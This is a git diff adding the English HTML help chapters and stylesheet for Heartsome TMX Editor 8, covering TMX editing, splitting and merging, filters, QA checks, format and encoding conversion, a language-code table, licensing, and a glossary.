    +
    + + +
    +
      +
    • + +

      +Edit the source + text and the translation +

      + + +

      To enter editing mode, you can just click a source or target + cell. Once you have finished editing, remember the following + points:

      + + +
      +
        +
      • + +

        If you click in another location, the software will + automatically cache the changes, but these changes will not be + saved to the original TMX file (excluding Heartsome Translation + Studio 8 TM). The cached content will not be lost if you forget to + save.

        + +
      • +
      • + +

        After editing, clickor press CTRL + s to save changes to + your original TMX files. +

        + +
      • +
      +
      + +
    • +
    • + +

      +Edit TU + attributes +

      + + +

      When you want to make changes to TU attributes, you can do this + in the following ranges: "Currently selected row", "All filtered + results" and "Whole file/TM". Read on for further details:

      + + +
      +
        +
      • + +

        +Editing TU system + attributes +

        + + +

        +Special + note:For system attributes, only attribute values can + be edited.

        + + +

        1. To edit system attribute values: Select the attribute row + you want to edit, click the button. In the pop-up dialog box, edit the + attribute value, then click OK to finish editing.

        + + +

        2. To delete system attribute values: Select the attribute + row with the value you want to delete, click the + button to delete the value.

        + +
      • +
      • + +

        +Editing TU custom + attributes +

        + + +

        +Special + note:For custom attributes, you can add, edit and + delete attribute names and their values.

        + + +

        1. To add custom attributes: Select any row in the Custom + Attributes panel, then click the button, In the pop-up dialog box, enter a + custom attribute name and attribute value, then click OK to + complete the operation.

        + + +

        2. To edit custom attributes: Select any row in the Custom + Attributes panel, then click the button, In the pop-up dialog box, enter a + custom attribute name and attribute value, then click OK to + complete the operation.

        + + +

        3. To delete custom attributes: Select any row in the Custom + Attributes panel, then click the Button to delete.

        + +
      • +
      • + +

        +To edit language-specific attributes: + +

        + + +

        Editing language-specific attributes is the same as editing system attriubute. +

        + +
      • +
      +
      + +
    • +
    • + +

      +Editing TU comments +

      + + +

      1. To add a comment: Select any row in the Comments panel, Click + the button. In the pop-up dialog box, enter the + comment. Then click OK to complete the operation.

      + + +

      2. To edit a comment: Select any row in the Comments panel, + Click the button. In the pop-up dialog box, enter the + comment. Then click OK to complete the operation.

      + + +

      3. To delete a comment: Select any row in the Comments panel, + Click theButton to delete.

      + +
    • +
    +
    + + +
    +
    +
    +Split and merge TMX
    +
    +

    The Split and merge feature provide a way for several people + working together to edit a TMX file.

    +
    +
      +
    • + +

      +To split TMX +

      + + +

      1. Select Edit > Split TMX. The Split TMX dialog box + will open.

      + + +

      2. Specify the number of subfiles.

      + + +

      3. Select the TMX file to be split.

      + + +

      4. Set a save path for the subfiles. If you checked + Original File Path, the subfiles will be kept in the directory + where the master TMX file is located. If you checked "Save as", + the subfiles be placed in the specified directory.

      + +
    • +
    • + +

      +To merge TMX +

      + + +

      1. Select Edit > Merge TMX. The Merge TMX dialog box + will open.

      + + +

      2. Click the Add button to add the subfiles to the + list.

      + + +

      3. Select the save path of the TMX to be merged.

      + + +

      4 Click the OK button to perform the merge.

      + +
    • +
    +
    +
    +
    +Change Language Code
    +
    +

    This feature can be used to change the language code of each + translation unit in the TMX file.

    +

    1. Select Edit > Change Language Code. The Change Language + Code dialog box will open.

    +

    2. Select the source and target language you want to + change.

    +

    3. Click on the OK button to complete the batch change.

    +
    +
    +Delete specified language
    +
    +

    This feature can be used to delete a specific language (TUV) + from a TMX file. Note: You can not delete the + source language. +

    +

    1. Select Edit > Delete Specified Language. The Delete + Specified Language dialog box will open.

    +

    2. Select one or more languages to be deleted.

    +

    3. Click the OK button to complete the deletion.

    +
    +
    +Delete all tags
    +
    +

    This feature can be used to delete all tag information from a + TMX file.

    +

    1. Select Edit > Delete All Tags

    +

    2. Click OK to perform the operation. This operation cannot be + undone.

    +
    +
    +TMX redundant content cleanup
    +
    +

    The following segments are regarded as redundant content: + untranslated segments, repetitions, inconsistent translations and + leading/trailing spaces. Heartsome TMX Editor 8 can batch delete + these segments.

    +

    1. Select Edit > Clean up TM. The Clean up TM dialog box + will open.

    +

    2. Select the redundant items you want to clean in the dialog + box.

    +

    + +

    +
    +
      +
    • + +

      Delete untranslated segments:This deletes segments with no + translation.

      + +
    • +
    • + +

      Delete repetitions (keep the latest instance): This + deletes a set of repetitions, but keeps the most recent + one.

      + +
    • +
    • + +

      Delete inconsistency in target (keep the latest instance): + This deletes segments that have the same source text but a + different translation. The most recent one will be kept.

      + +
    • +
    • + +

      Delete leading/trailing spaces: This deletes spaces at the + beginning or end of segments.

      + +
    • +
    +
    +

    3. You can also check Ignore tags when finding + repetitions.

    +

    4. Perform the clean-up operations.

    +
    +
    +
    + +
    + + diff --git a/te/net.heartsome.cat.te.ui.help/html/en/ch04.html b/te/net.heartsome.cat.te.ui.help/html/en/ch04.html new file mode 100644 index 0000000..25500eb --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/html/en/ch04.html @@ -0,0 +1,157 @@ + + + +Edit Heartsome Translation Studio 8 TM + + + + + + + + +
    +
    +
    +
    +

    +Edit Heartsome Translation Studio 8 TM

    +
    +
    +
    + + + +

    Heartsome TMX Editor 8 is a dedicated editing tool for Heartsome + Translation Studio 8 TM. The following shows you how to use Heartsome TMX + Editor 8 to edit Heartsome Translation Studio 8 TMs.

    + + +
    +
    +
    +How to connect with TM
    +
    +

    Heartsome Translation Studio 8 TM files are either file based or server + based.

    +
    +
      +
    • + +

      +File-based TM +

      + + +

      1. Select File > Connect to TM > File-based + TM.

      + + +

      2. Browse to Heartsome Translation Studio 8 TM + (.hstm).

      + + +

      3. Click the OK button, the editor will load all contents + of the TM.

      + +
    • +
    • + +

      +Server-based TM +

      + + +

      1. Select File > Connect to TM > Server-based + TM.

      + + +

      2. Select the TM server type you want to connect + to.

      + + +

      + +

      + + +

      3. Enter the IP address, port, username and password, then + click the Search button.

      + + +

      + +

      + + +

      4. Once the TM is listed, select the one you want to edit, + then click the OK button. The contents of the TM will be + loaded.

      + + +

      + +

      + +
    • +
    +
    +
    +
    +How to handle multilingual TMX
    +
    +

    1. Heartsome Translation Studio 8 is a multilingual tool. When + a server-based TM is listed, + you can see the languages of each TM it contains in the Language + column.

    +

    +As you can see, the TM "bug2422" contains 3 + languages: "en-us", "zh" and "zh-hk".

    +

    2. When you open a multilingual TM, you can select the + language pair that you want to edit from the Source and Target + field.

    +

    + +

    +

    3. Once this is done, click Search to load the contents of the + selected languages in the TM.

    +
    +
    +
    + + +
    +
    +
    +Editing the source text and translations
    +
    +

    To enter editing mode, you can just click a source or target + cell.

    +
    +
    +Editing TU attributes
    + +
    +Editing TU comments
    + +
    +Clean up TMX redundant content
    + +
    +
    + +
    + + diff --git a/te/net.heartsome.cat.te.ui.help/html/en/ch05.html b/te/net.heartsome.cat.te.ui.help/html/en/ch05.html new file mode 100644 index 0000000..98c47ce --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/html/en/ch05.html @@ -0,0 +1,130 @@ + + + +Search and Filter + + + + + + + + +
    +
    +
    +
    +

    +Search and Filter

    +
    +
    +
    + + + +

    Heartsome TMX Editor 8 offers search and filter functionality to + facilitate your TMX and TM maintenance. Read on for more details.

    + + +
    +
    +
    +Keyword search
    +
    +

    You can search a loaded TMX and TM to filter out segments + thatcontain the keywords you have entered in the Source or Target + fields.

    +

    + +

    +
    +
    +
    + + +
    +
    +
    +Filter
    +
    +

    Select the built-in filters from the drop-down list under the + Filter to filter out the desired content. Your customized filters + also are listed here once you have added them from Customize Filters +

    +

    + +

    +

    When you select built-in filters, you may also check Ignore case and Ignore + tags to get more results.

    +

    +Special note:Keyword searching and + built-in filters are not interrelated.

    +
    +
    +Customize filters
    +
    +

    The program provides you with flexible custom filters allowing + you to set filter conditions according to your needs. You may + enable or disable them.

    +

    To customize filters:

    +

    1. Click on the button. The Custom Filter dialog box will + open.

    +

    + +

    +

    2. Click the New button. The Add Filter Rule dialog box will + open.

    +

    + +

    +
    +
      +
    • + +

      +Filter name:This is the + name of your filter. When it is enabled, it will be listed in + the Filters drop-down.

      + +
    • +
    • + +

      +Combination of + conditions: Meet all of the following conditions or + one of the following conditions.

      + +
    • +
    • + +

      +Custom content: You can + set conditions for source, translation, comments, system + attributes and custom attributes.

      + +
    • +
    • + +

      +Operator: Operators + include Contains, Excludes, Equals and Not Equal To.

      + +
    • +
    +
    +

    You may add more conditions or delete any condition.

    +

    When you finish creating the filter, the filter will be listed + on Customize Filter dialog box, where you can check the filter to + enable it from Enable column.

    +

    Example: The customized filter “Kevin创建的å¥å­” is listed under + the Filter.

    +

    + +

    +
    +
    +
    + +
    + + diff --git a/te/net.heartsome.cat.te.ui.help/html/en/ch06.html b/te/net.heartsome.cat.te.ui.help/html/en/ch06.html new file mode 100644 index 0000000..fa0d169 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/html/en/ch06.html @@ -0,0 +1,115 @@ + + + +QA + + + + + + + + +
    +
    +
    +
    +

    +QA

    +
    +
    +
    + + + +

    Heartsome TMX Editor 8 provides you with QA functionality for TMX + files by generating a QA report and allowing you to edit TMX files based + on QA results.

    + + +
    +
    +
    +Select QA check items
    +
    +

    Heartsome TMX Editor 8 now provides six QA check options in + QA view:

    +

    + +

    +
    +
      +
    • + +

      Tag consistency: This checks whether there are the same + number of tags in the source as in the translation.

      + +
    • +
    • + +

      Numeral consistency: This checks whether the numerals in + the source also exist in the translation.

      + +
    • +
    • + +

      Leading/trailing spaces: This checks whether the spaces at + the beginning/end of the source text also appear in the + translation.

      + +
    • +
    • + +

      Untranslated: There checks whether there are any + untranslated segments.

      + +
    • +
    • + +

      Target same as source: This checks whether the translated + text is the same as the source.

      + +
    • +
    • + +

      Inconsistency in target: This checks whether there are + multiple segments with the same source text but with different + translations.

      + +
    • +
    • + +

      Inconsistency in source:This checks whether there are + multiple segments with the same translated text but with + different source text.

      + +
    • +
    +
    +
    +
    +Perform QA and generate QA reports
    +
    +

    1. When selecting QA items to check, you may also check Ignore case and Ignore tags.

    +

    + +

    +

    2. Click the Perform button. The software will open the QA + results view.

    +

    + +

    +
    +
    +Correcting errors directly from the QA report
    +
    +

    When you double-click any error message in the QA results, you + will be automatically taken to the corresponding row in the Editor, then you can correct the + error in this row.

    +
    +
    +
    + +
    + + diff --git a/te/net.heartsome.cat.te.ui.help/html/en/ch07.html b/te/net.heartsome.cat.te.ui.help/html/en/ch07.html new file mode 100644 index 0000000..a3c90da --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/html/en/ch07.html @@ -0,0 +1,1324 @@ + + + +Utilities + + + + + + + + +
    +
    +
    +
    +

    +Utilities

    +
    +
    +
    + + + +

    Heartsome TMX Editor 8 provides several useful tools for converting + and maintaining your TMX files.

    + + +
    +
    +
    +Conversion TMX to other file formats
    +
    +

    Heartsome TMX Editor 8 supports batch conversion of TMX to DOCX, XLSX, TXT, + TBX and HSTM (Heartsome Translation Studio 8 file-based TM).

    +

    + +

    +
    +
      +
    • + +

      +To do this: +

      + + +

      1. Select Tools > Convert TMX to Specified + Formats.

      + + +

      2. Click the Add button to add TMX files for conversion. + You can also click the Remove button to delete added TMX + files.

      + + +

      3. Select the file type from the Convert to field.

      + + +

      4. When you select Convert to Heartsome file-based TM + (*.hstm), you may also check Include attributes, i.e., also add + the TU attributes to the *.hstm during conversion.

      + + +

      5. Select your desired save + path.

      + + +

      6. Click the OK button to perform the conversion.

      + +
    • +
    • + +

      +Description of + file types available for conversion: +

      + + +
      +
        +
      • + +

        +DOCX files: +

        + + +

        + +

        + + +

        Description:The first column is the source language, + the second is the target language. If the TMX file is + multilingual, the third language will be listed in the third + column, and so on

        + +
      • +
      • + +

        +XLSX files: +

        + + +

        + +

        + + +

        Description:The first column is the source language, + the second is the target language. If the TMX file is + multilingual, the third language will be listed in the third + column, and so on

        + +
      • +
      • + +

        +TXT files: +

        + + +

        + +

        + + +

        Description:All languages are separated by a tab + character.

        + +
      • +
      • + +

        +Standard TBX + files: +

        + + +

        + +

        + +
      • +
      • + +

        +HSTM files: +

        + + +

        A HSTM file is a Heartsome Translation Studio 8 + file-based TM.

        + +
      • +
      +
      + +
    • +
    +
    +
    +
    +Convert specified format to TMX
    +
    +

    This feature is used to convert DOCX, XLSX, TXT, TBX and HSTM + files to standard TMX files.

    +

    + +

    +
    +
      +
    • + +

      +To do this: +

      + + +

      1. Select Tools > Convert Specified Format to + TMX

      + + +

      2. Click the Browse button to select an external file to + be converted. +

      + + +

      3. Choose whether to Add custom attributes.

      + + +

      4. Set up way of conversion.1) Convert to a new TMX.2) + Append the contents to the selected TMX. In this case, you have + to select a TMX file before conversion.

      + + +

      5. Choose whether to open the TMX file after + conversion.

      + + +

      6. Click the OK button to perform the conversion.

      + +
    • +
    • + +

      +The + specification of source file format +

      + + +

      The source file format is the same as the file format + descripted in the "Description of + file types available for conversion" section, which can + be multilingual and its first + line must be filled with language code.The following is a commonly used language code table:

      + +
      + +
      + + + + + +
      + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
      Language nameLanguage code
      Afaraa
      Abkhazianab
      Avestanae
      Afrikaansaf
      Afrikaans (South Africa)af-ZA
      Akanak
      Amharicam
      Aragonesean
      Arabicar
      Arabic (U.A.E.)ar-AE
      Arabic (Bahrain)ar-BH
      Arabic (Algeria)ar-DZ
      Arabic (Egypt)ar-EG
      Arabic (Iraq)ar-IQ
      Arabic (Jordan)ar-JO
      Arabic (Kuwait)ar-KW
      Arabic (Lebanon)ar-LB
      Arabic (Libya)ar-LY
      Arabic (Morocco)ar-MA
      Arabic (Oman)ar-OM
      Arabic (Qatar)ar-QA
      Arabic (Saudi Arabia)ar-SA
      Arabic (Syria)ar-SY
      Arabic (Tunisia)ar-TN
      Arabic (Yemen)ar-YE
      Assameseas
      Aymaraay
      Azerbaijaniaz
      Bashkirba
      Belarusianbe
      Bulgarianbg
      Biharibh
      Bislamabi
      Bambarabm
      Bengalibn
      Tibetanbo
      Bretonbr
      Bosnianbs
      Catalanca
      Chechence
      Chamorroch
      Corsicanco
      Creecr
      Czechcs
      Czech (Czech Republic)cs-CZ
      Church Slavic; Old Bulgariancu
      Chuvashcv
      Welshcy
      Danishda
      Germande
      German (Austrian)de-AT
      German (Swiss)de-CH
      German (Germany)de-DE
      German (Liechtenstein)de-LI
      German (Luxembourg)de-LU
      Divehidv
      Dzongkhadz
      Eweee
      Greekel
      Englishen
      English (Australian)en-AU
      English (Belize)en-BZ
      English (Canadian)en-CA
      English (Caribbean)en-CB
      English (British)en-GB
      English (Ireland)en-IE
      English (Jamaica)en-JM
      English (New Zealand)en-NZ
      English (Trinidad)en-TT
      English (United States)en-US
      English (South Africa)en-ZA
      Esperantoeo
      Spanishes
      Spanish (Argentina)es-AR
      Spanish (Bolivia)es-BO
      Spanish (Chile)es-CL
      Spanish (Colombia)es-CO
      Spanish (Costa Rica)es-CR
      Spanish (Dominican Republic)es-DO
      Spanish (Ecuador)es-EC
      Spanish (Spain)es-ES
      Spanish (Guatemala)es-GT
      Spanish (Honduras)es-HN
      Spanish (Mexican)es-MX
      Spanish (Nicaragua)es-NI
      Spanish (Panama)es-PA
      Spanish (Peru)es-PE
      Spanish (Puerto Rico)es-PR
      Spanish (Paraguay)es-PY
      Spanish (El Salvador)es-SV
      Spanish (Uruguay)es-UY
      Spanish (Venezuela)es-VE
      Estonianet
      Basqueeu
      Farsifa
      Fulahff
      Finnishfi
      Fijianfj
      Faeroesefo
      Frenchfr
      French (Belgium)fr-BE
      French (Canadian)fr-CA
      French (Swiss)fr-CH
      French (France)fr-FR
      French (Luxembourg)fr-LU
      Frisianfy
      Irishga
      Gaelic; Scottish Gaelicgd
      Galiciangl
      Guaranign
      Gujaratigu
      Manxgv
      Hausaha
      Hebrewhe
      Hebrew (Israel)he-IL
      Hindihi
      Hiri Motuho
      Croatianhr
      Haitian; Haitian Creoleht
      Hungarianhu
      Armenianhy
      Hererohz
      Interlinguaia
      Indonesianid
      Interlingueie
      Igboig
      Sichuan Yiii
      Inupiaqik
      + +
      + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
      Language nameLanguage code
      Indonesianin
      Idoio
      Icelandicis
      Italianit
      Italian (Swiss)it-CH
      Italian (Italy)it-IT
      Inuktitutiu
      Japaneseja
      Javanesejv
      Georgianka
      Kongokg
      Kikuyu; Gikuyuki
      Kuanyama; Kwanyamakj
      Kazakhkk
      Kalaallisut; Greenlandickl
      Khmerkm
      Kannadakn
      Koreanko
      Korean (Johab)ko-JB
      Kanurikr
      Kashmiriks
      Kurdishku
      Komikv
      Cornishkw
      Kirghizky
      Latinla
      Luxembourgish; Letzeburgeschlb
      Gandalg
      Limburgan; Limburger; Limburgishli
      Lingalaln
      Laolo
      Lithuanianlt
      Luba-Katangalu
      Latvianlv
      Malagasymg
      Marshallesemh
      Maorimi
      Macedonianmk
      Malayalamml
      Mongolianmn
      Moldavianmo
      Marathimr
      Malayms
      Maltesemt
      Burmesemy
      Nauruna
      Norwegian Bokm?lnb
      Ndebele, Northnd
      Nepaline
      Ndongang
      Dutchnl
      Dutch (Belgium)nl-BE
      Norwegian Nynorsknn
      Norwegianno
      Ndebele, Southnr
      Navajo; Navahonv
      Chichewa; Chewa; Nyanjany
      Occitan; Proven?aloc
      Ojibwaoj
      Oromoom
      Oriyaor
      Ossetian; Osseticos
      Panjabi; Punjabipa
      Palipi
      Polishpl
      Pushtops
      Portuguesept
      Portuguese (Brazilian)pt-BR
      Quechuaqu
      Raeto-Romancerm
      Rundirn
      Romanianro
      Russianru
      Russian (Russia)ru-RU
      Kinyarwandarw
      Sanskritsa
      Sardiniansc
      Sindhisd
      Northern Samise
      Sangosg
      Sinhala; Sinhalesesi
      Slovaksk
      Sloveniansl
      Samoansm
      Shonasn
      Somaliso
      Albaniansq
      Serbiansr
      Swatiss
      Sotho, Southernst
      Sundanesesu
      Swedishsv
      Swedish (Finland)sv-FI
      Swahilisw
      Tamilta
      Telugute
      Tajiktg
      Thaith
      Tigrinyati
      Turkmentk
      Tagalogtl
      Tswanatn
      Tongato
      Turkishtr
      Tsongats
      Tatartt
      Twitw
      Tahitianty
      Uighur; Uyghurug
      Ukrainianuk
      Urduur
      Uzbekuz
      Vendave
      Vietnamesevi
      Volap¨¹kvo
      Walloonwa
      Wolofwo
      Xhosaxh
      Yiddishyi
      Yorubayo
      Zhuang; Chuangza
      Chinesezh
      Chinese (People's Republic)zh-CN
      Chinese (Hong Kong)zh-HK
      Chinese (Singapore)zh-SG
      Chinese (Taiwan)zh-TW
      Zuluzu
      + +
      +
      +
      +
      + +
    • +
    +
    +

    +Special note:This feature currently + only supports single external file conversion. if you have more than + one external files needing conversion, you can choose one of the + following two methods:

    +

    1) Put the contents of all files into one file.

    +

    2) Run the conversion one by one, and check Append to current TMX file.

    +
    +
    +File encoding converter
    +
    +

    The Encoding Converter provides you with a text file encoding conversion tool. When you + load a TMX in Heartsome TMX Editor 8, it will convert the encoding + of the TMX to UTF-8. Once you have finished editing, you may have to + use this tool to convert the UTF-8 encoding of the TMX to an + encoding supported by your translation software.

    +

    + +

    +
    +
      +
    • + +

      +To make encoding + conversion: +

      + + +

      1. Select Tools > Encoding Converter. The Convert TMX + Encoding dialog box will open.

      + + +

      2. Click Browse to select the source TMX file. The program + will detect the encoding of the TMX automatically. You may + change the encoding by selecting a encoding from the dropdown in + the Source file encoding field.

      + + +

      3. Select a save path and name for the converted + file.

      + + +

      4. Select Target file encoding.

      + + +

      5. Click the Convert button to perform the + conversion.

      + +
    • +
    +
    +
    +
    +
    + +
    + + diff --git a/te/net.heartsome.cat.te.ui.help/html/en/ch08.html b/te/net.heartsome.cat.te.ui.help/html/en/ch08.html new file mode 100644 index 0000000..a241c2b --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/html/en/ch08.html @@ -0,0 +1,287 @@ + + + +Version and License + + + + + + + + +
    +
    +
    +
    +

    +Version and License

    +
    +
    +
    + + + +
    +
    +
    +Version Introduction
    +
    +

    The following Heartsome TMX Editor 8 versions are + available:

    +
    +
      +
    • + +

      Free Version

      + +
    • +
    • + +

      Trial Version

      + +
    • +
    • + +

      Paid Version

      + +
    • +
    +
    +
    +
    +
    Free Version
    +
    +

    Regarding functionally, the Free Version is the same as + the Paid Version, but the number of TMX TUs you can edit in + the Free Version is limited to 10,000.

    +
    +
    Trial Version
    +
    +

    The Trial version is valid for 3 months, without any + restrictions. After the trial period expires, it will + automatically change to the Free version, which can be used + permanently.

    +
    +
    Paid Version
    +
    +

    This is a version that has been activated with a + Heartsome business license. When you purchase a commercial + license, you can directly upgrade your Free Version or Trial + Version to the Paid Version

    +
    +
    +
    +
    +
    +How to apply for a trial and purchase a license
    +
    +
    +
      +
    • + +

      +Apply for a trial: +

      + + +

      1. Go to https://Lic.heartsome.net/webbuy/r8trial.jsp + to apply for a trial.

      + + +

      2. Enter your name, email address and other optional + information.

      + + +

      3. Once the request form has been submitted, the system + will automatically send a trial license to your email + address.

      + +
    • +
    • + +

      +Purchase a + license: +

      + + +

      1. Go to https://lic.heartsome.net/webbuy/r8buy.jsp +

      + + +

      2. Enter your name, email address and other optional + information.

      + + +

      3. Select the type and version of the product to be + purchased, and enter the quantity.

      + + +

      4. Click the Submit button again to + confirm that the order information is correct. Then click on the + Pay via Paypal button and make the + payment according to the prompts.

      + + +

      5. After successful payment, our license server will + automatically send your license(s) to your email address.

      + +
    • +
    +
    +
    +
    +How to activate a license
    +
    +

    To enable the Trial Version and Paid Version, you have to + activate them first. Heartsome TMX Editor 8 provides two optional + activation methods, one is Online Activation (recommended) and the + other is Offline Activation. The following describes the two + activation methods:

    +
    +
      +
    • + +

      +Online activation: +

      + + +

      In the License Management + dialog box, copy the license number from the email and paste it + into the first text field.

      + + +

      + +

      + + +

      2. Make sure you are connected to the network. If you + connect to the Internet through a proxy server, click the Network Connections button to open + the settings interface.

      + + +

      3. Click the Activate button.

      + + +

      If no error occurs, it will inform you that the software + has been successfully activated. When you re-open and go to Help + > License Management, the license status should have changed + to "Activated".

      + +
    • +
    • + +

      +Offline + activation: +

      + + +

      Before performing offline activation, make sure you have + purchased a commercial license instead of a Trial license. To + perform offline activation:

      + + +

      1) Enter the commercial license serial number you have + purchased. Click the Next button.

      + + +

      2). Obtain the activation code

      + + +

      The following figure shows the activation code generated + by the software. You need to copy it to an email or text file, + then send it to + licensing@heartsome.net. We will handle the rest. + After this, you can exit the software.

      + + +

      + +

      + + +

      3. Obtain a license file

      + + +

      Once we have received your activation code, Heartsome will + send you a license file (the file name will be your serial + number.lic) as an attachment to your email address. When + you get the email sent by Heartsome, save the license file to + your local hard disk, then repeat the above two steps.

      + + +

      Click the Next button on the interface.

      + + +

      + Special + note:If you want to activate multiple licenses + one-time through offline activation, you can put all the + activation codes in an Excel file (.xls). Starting from very + first column of the Excel spreadsheet, put + one activation code on each line. To facilitate the + identification and management of multiple licenses, you can add + more information, such as a serial number, username or computer + name in the second and third columns, but only the activation + code in the first column is required.

      + + +

      Click the Browse button and select the .lic + file you received, then click the Activate button to perform + activation.if no exception happens, it will prompt that the + software has been successfully activated.

      + +
    • +
    +
    +
    +
    +How to deactivate a license
    +
    +

    You will need to deactivate your license in one of the + following situations:

    +
    +
      +
    • + +

      If you want to change the current Trial license to a + purchased Commercial license.

      + +
    • +
    • + +

      If you want to reinstall your operating system.

      + +
    • +
    • + +

      You want to move the current license to a different + computer.

      + +
    • +
    +
    +

    Follow these steps to deactivate your license:

    +

    1. Select Help > License Management to open the License + Management dialog box.

    +

    + +

    +

    2. Make sure you are connected to the network (to set up a + proxy server, please refer to the Custom Proxy section), and then click + the Deactivate button

    +

    3. Once the operation has finished, the software will + automatically restart. After it has restarted, the License + Status changes to No + License.

    +
    +
    +
    + +
    + + diff --git a/te/net.heartsome.cat.te.ui.help/html/en/ch09.html b/te/net.heartsome.cat.te.ui.help/html/en/ch09.html new file mode 100644 index 0000000..c3cbc86 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/html/en/ch09.html @@ -0,0 +1,101 @@ + + + +Glossary + + + + + + + + +
    +
    +
    +
    +

    +Glossary

    +
    +
    +
    + + + +
    +
    +
    TMX file
    +
    +

    TMX (TM exchange) is an industry standard used to exchange + translation memories. Heartsome TMX Editor 8 can edit and maintain + TMX files. Heartsome Translation Studio 8 TM also supports import + and export of TMX files.

    +
    +
    TBX file
    +
    +

    TBX is terminology markup language. It is an open, XML-based + standard for exchanging structured terminological data from one + termbase to another termbase.

    +
    +
    Translation unit
    +
    +

    Translation memory (TM) entries contain source text, a + translation and additional TM data, such as the date of + translation.

    +
    +
    Translation unit variant
    +
    +

    Text segments are contained in translation units (<tu> + element), each <tu> element contains one or more translation + unit variants <tuv>, and these variants are the various + translations in multiple languages for one source language.

    +
    +
    Internal tags
    +
    +

    Internal tags contain the layout and formatting information, + style definitions and font information of the source file. They are + extracted as non-translatable content from the source file and + displayed as tags in CAT software.

    +
    +
    Source
    +
    +

    This refers to the item to be translated,for example:source + text and source language. It is relative to the target. See language + pair.

    +
    +
    Target
    +
    +

    This refers to the translated items, for example:target + content, target language, target segment. It is relative to the + source. See language pair.

    +
    +
    Language pair
    +
    +

    The refers to the source and target language, such as English + to French, or English (United Kingdom) to French (Switzerland). + Language pairs have a particular direction, e.g., from English to + French.

    +
    +
    Filter
    +
    +

    These are a rule or combination of rules used to extract + content. A filter contains one or more rules. Filter rules compare + content based on reference values. When you apply a filter, only the + contents that comply with these rules will be displayed or + processed.

    +
    +
    HS
    +
    +

    This is the abbreviation for Heartsome.

    +
    +
    HSTS
    +
    +

    File format for a Heartsome Translation Studio 8 file-based + translation memory.

    +
    +
    +
    + +
    + + diff --git a/te/net.heartsome.cat.te.ui.help/html/en/ch10.html b/te/net.heartsome.cat.te.ui.help/html/en/ch10.html new file mode 100644 index 0000000..373516d --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/html/en/ch10.html @@ -0,0 +1,43 @@ + + + +Copyright + + + + + + + +
    +
    +
    +
    +

    +Copyright

    +
    +
    +
    + + + +

    Copyright (C) 2013 Heartsome Technologies Ltd.

    + + +

    Intellectual property of any authorized copy of the Software and + structure, organization and code’s valuable intellectual property of + related software (such as trade secrets and confidential information) are + owned by HEARTSOME. The intellectual property to the third-party software + used in the Software is owned by its respective party.

    + + +

    This Software is protected by law (including but not limited to the + copyright laws of the Hong Kong Special Administrative Region and other + countries) and international treaty provisions. Unless expressly provided + otherwise, this Agreement does not grant any intellectual property rights + of the Software to the user, and HEARTSOME and its suppliers reserve all + other rights not expressly granted.

    + +
    + + diff --git a/te/net.heartsome.cat.te.ui.help/html/en/css/style.css b/te/net.heartsome.cat.te.ui.help/html/en/css/style.css new file mode 100644 index 0000000..f3456e9 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/html/en/css/style.css @@ -0,0 +1,247 @@ +/* +Product: Heartsome Translation Studio +Author: Jacky Zeng +Date: 2012-11-25 +Version: 1.1 +*/ + + +body { + font-size: 13px; + color: #000; + font-family: Arial, Helvetica, 宋体, simsun, sans-serif; +} + + a:visited { + color: gray; +} +a:link{ + text-decoration: none; +} +a:hover, a:active { + text-decoration: underline; + color: blue; +} + +p { + font-size: 13px; + line-height: 1; + margin-left:20px; + +} + +em { + font-style: normal; +} +/* +Page Header +*/ +.navheader { + font-size: 13px; +} +.navheader a:link { + text-decoration: none; + font-size: 13px; + color: #000; +} +.navheader a:hover { + text-decoration: underline; + color: #ff0000; + font-size: 13px; +} +.navheader a:visited { + text-decoration: none; + color: #000; + font-size: 13px; +} + +.navheader th { + color: #1B5874; + font-size: 20px; +} +/* +Page Footer +*/ +.navfooter { + font-size: 13px; +} + +.navfooter table tr th td { + font-size: 13px; + color: #000; +} +.navfooter a:link { + text-decoration: none; + color: #000; + font-size: 13px; +} +.navfooter a:hover { + text-decoration: underline; + color: #ff0000; + font-size: 13px; +} +.navfooter a:visited { + text-decoration: none; + color: #000; + font-size: 13px; +} + +/* +Chapter title +Level 1 +*/ +h1 { + font-size: 20px; + font-weight: bold; + text-align: center; + color: #1B5874; +} + +/* +Section title +Level 2 +*/ +h2 { + font-size: 18px; + font-weight: bold; + color: #1B5874; +} + 